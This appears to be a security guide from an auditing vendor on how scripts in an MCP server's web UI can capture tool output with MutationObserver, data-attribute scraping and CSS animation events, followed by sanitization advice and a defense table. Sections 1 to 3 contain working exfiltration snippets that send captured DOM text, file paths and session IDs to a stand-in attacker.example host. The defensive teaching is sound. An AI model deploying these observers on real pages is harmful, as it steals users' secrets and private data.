MCP Server Security · DOM Security · MutationObserver · XSS
MCP server MutationObserver security — DOM exfiltration, data-attribute scraping, CSS animation timing as exfiltration channel, and sanitizeToolOutput before DOM insertion in MCP UIs
MutationObserver is a browser API that fires a callback whenever the DOM changes within a watched subtree — nodes added, attributes modified, character data changed. Any script running on the same page can register a MutationObserver on the document root and receive a callback every time an MCP UI inserts tool output into the DOM. This is a zero-day-resistant exfiltration path: it requires no vulnerability in the MCP server, no network attack, and no bypass of CSP — just a foothold in the page's JavaScript context (XSS, a compromised dependency, or an extension with content script access).
Why MCP UIs are high-value MutationObserver targets
A MutationObserver watching an MCP UI is more valuable to an attacker than one watching a static content site. MCP tool output often contains:
- File contents retrieved by file-reading tools
- Database query results containing PII or business-sensitive data
- API responses from authenticated third-party services (email, calendar, CRM)
- Code generated by the LLM, which may contain hardcoded secrets the user pasted into the prompt
- Conversation history — the full context of what the user was asking the agent to do
Because MCP UIs render all of this in the DOM, a single MutationObserver registration at session start captures the complete exfiltration target for the entire session without any per-request interception.
1. DOM exfiltration via MutationObserver
// Attacker registers a MutationObserver on document.body (or any MCP UI container)
// This code runs via XSS, a compromised npm dependency, or a malicious browser extension
const exfiltrate = (text) => {
navigator.sendBeacon('https://attacker.example/collect', text);
};
const observer = new MutationObserver(mutations => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.nodeType === Node.ELEMENT_NODE) {
// Capture all text content from tool output containers
if (node.matches('[data-tool-output], .tool-result, .mcp-response')) {
exfiltrate(node.textContent);
}
// Or just capture everything and sort later
exfiltrate(node.textContent);
}
}
}
});
// Observe the entire document body for subtree changes
observer.observe(document.body, {
childList: true, // Watch for nodes added/removed
subtree: true, // Watch all descendants, not just direct children
characterData: true, // Watch for text content changes (streaming output)
});
Streaming tool output is especially vulnerable. MCP UIs that stream tool output character-by-character using characterData: true observation can be exfiltrated token by token — including intermediate states that contain partial secrets before the user has a chance to see and redact them.
2. data-attribute scraping
MCP UIs that store structured tool metadata in data-* attributes (e.g., data-tool-name, data-session-id, data-user-id) allow an attacker to extract structured data without relying on the rendered text content. data- attributes are easier to parse than text content and survive HTML sanitization that strips display content but preserves attributes.
// Example: MCP UI renders tool output with metadata in data- attributes
// <div data-tool="read_file" data-path="/etc/secrets.env" data-session="abc123">
// FILE CONTENTS: API_KEY=sk-prod-...
// </div>
// Attacker scrapes the structured attributes (easier than parsing text)
const observer = new MutationObserver(mutations => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.nodeType === Node.ELEMENT_NODE) {
const toolName = node.dataset.tool;
const path = node.dataset.path;
const session = node.dataset.session;
if (toolName) {
exfiltrate({ toolName, path, session, content: node.textContent });
}
// Also check descendant elements with data- attributes
node.querySelectorAll('[data-tool]').forEach(el => {
exfiltrate({ toolName: el.dataset.tool, content: el.textContent });
});
}
}
}
});
Avoid storing sensitive metadata (file paths, user IDs, session tokens) in data-* attributes on rendered DOM elements. If metadata is needed for JavaScript to operate on tool output elements, use a WeakMap in the application's closure scope instead of DOM attributes that any script can read.
3. CSS animation timing as a JavaScript-free exfiltration channel
CSS animation timing attacks exploit the animationstart event fired when a CSS animation begins on an element matching a selector. By injecting styles that trigger animations on specific selector patterns, an attacker who can inject CSS (but not JavaScript) can exfiltrate data through event timing — without writing a MutationObserver at all. This is relevant for MCP UIs where CSP blocks inline scripts but doesn't block injected stylesheets.
/* Attacker-injected CSS (requires style injection, not script injection) */
/* Fires animationstart event when an element with data-tool="read_file" appears */
@keyframes secret-exfil {}
[data-tool="read_file"] {
animation: secret-exfil 1ms;
}
[data-tool="execute_command"] {
animation: secret-exfil 1ms;
}
/* Companion script (if the attacker also has JS access): */
document.addEventListener('animationstart', event => {
if (event.animationName === 'secret-exfil') {
exfiltrate({
tool: event.target.dataset.tool,
content: event.target.textContent,
});
}
}, true);
The CSS-only exfiltration variant (no JavaScript) uses background-image: url('https://attacker.example/?data=...') in combination with CSS attribute selectors and content matching — though this approach is limited in what it can extract compared to a full JavaScript observer. The defense is a strict Content-Security-Policy that blocks style-src to unknown origins and disables animation keyframes from injected stylesheets.
4. Why sanitization must happen before DOM insertion
The most common mistake in MCP UIs is sanitizing tool output after inserting it into the DOM. Even a brief window where unsanitized output is in the DOM is long enough for a MutationObserver callback to fire and capture the unsanitized content before the sanitization pass replaces it.
// WRONG order: insert first, sanitize second (observer fires on unsanitized insert)
async function renderToolOutput(rawOutput: string) {
const container = document.createElement('div');
container.innerHTML = rawOutput; // Injected observer fires here with raw HTML
document.querySelector('#output').appendChild(container);
// Sanitize runs after — too late; observer already captured raw content
container.innerHTML = DOMPurify.sanitize(container.innerHTML);
}
// CORRECT order: sanitize first, then insert (observer only sees sanitized content)
async function renderToolOutput(rawOutput: string) {
const sanitized = DOMPurify.sanitize(rawOutput, {
ALLOWED_TAGS: ['p', 'pre', 'code', 'ul', 'ol', 'li', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href'],
FORBID_ATTR: ['data-*', 'class', 'id', 'style'], // No data-attributes on user content
});
const container = document.createElement('div');
container.innerHTML = sanitized;
document.querySelector('#output').appendChild(container);
// Observer fires now — sees only sanitized content, no raw HTML or data-attributes
}
React, Vue, and Svelte render to the DOM in a single synchronous pass through their virtual DOM reconciliation — which means there is no window between "unsanitized insert" and "sanitized insert" for these frameworks, unless you use dangerouslySetInnerHTML / v-html with unsanitized content. Those directives bypass the framework's sanitization and insert raw HTML — which triggers the observer with raw content.
Defense layers for MutationObserver attacks
| Attack vector | Defense | Effectiveness |
|---|---|---|
| MutationObserver on document root (from XSS) | Prevent XSS entirely; use strict CSP; use textContent not innerHTML | Primary — fixes the root cause |
| MutationObserver from compromised npm dep | Subresource Integrity on scripts; npm audit; vendor lock on dep versions | Defense-in-depth |
| MutationObserver from browser extension | Cannot prevent; extension content scripts have full DOM access on any page | No mitigation available |
| data-attribute scraping | Store metadata in WeakMap, not data-* attributes | Eliminates structured attribute exfiltration |
| CSS animation timing | Strict style-src CSP; disable user-controlled CSS | Blocks CSS-injection variant |
| characterData observation on streaming output | Build complete output string server-side; insert once fully formed, not token by token | Reduces streaming-state exposure |
SkillAudit findings for MutationObserver security
innerHTML before sanitization; MutationObserver callback fires on raw HTML including injected scripts and data before sanitization pass. −24 pts
dangerouslySetInnerHTML / v-html / {@html} with unsanitized tool output string; framework bypass inserts raw HTML into DOM. −22 pts
data-* attributes on DOM elements; any same-page script can extract structured data via dataset. −18 pts
characterData mutations; streaming intermediate states expose partial secrets before the user can review and redact. −16 pts
style-src allows external stylesheets or 'unsafe-inline'; CSS animation timing attack from injected styles can exfiltrate tool output without JavaScript. −12 pts
FORBID_ATTR does not include data-*; sanitizer allows attacker-controlled data- attributes through, which can be scraped by MutationObserver callbacks. −10 pts
SkillAudit scans MCP UI bundles for innerHTML assignments with unsanitized strings, dangerouslySetInnerHTML usage, unsafe streaming DOM insertion patterns, and sensitive data-* attribute population from tool output. Audit your MCP server →